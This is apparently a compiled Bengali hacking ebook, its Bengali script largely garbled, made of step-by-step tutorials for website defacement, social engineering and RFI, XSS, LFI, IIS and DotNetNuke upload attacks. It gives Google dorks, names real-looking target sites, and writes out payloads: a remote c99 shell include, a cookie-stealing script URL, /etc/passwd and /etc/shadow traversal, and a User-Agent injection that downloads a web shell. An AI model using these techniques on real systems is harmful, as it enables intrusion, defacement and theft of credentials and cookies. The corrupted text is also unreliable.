সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 10: Hacking Bangla eBook

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

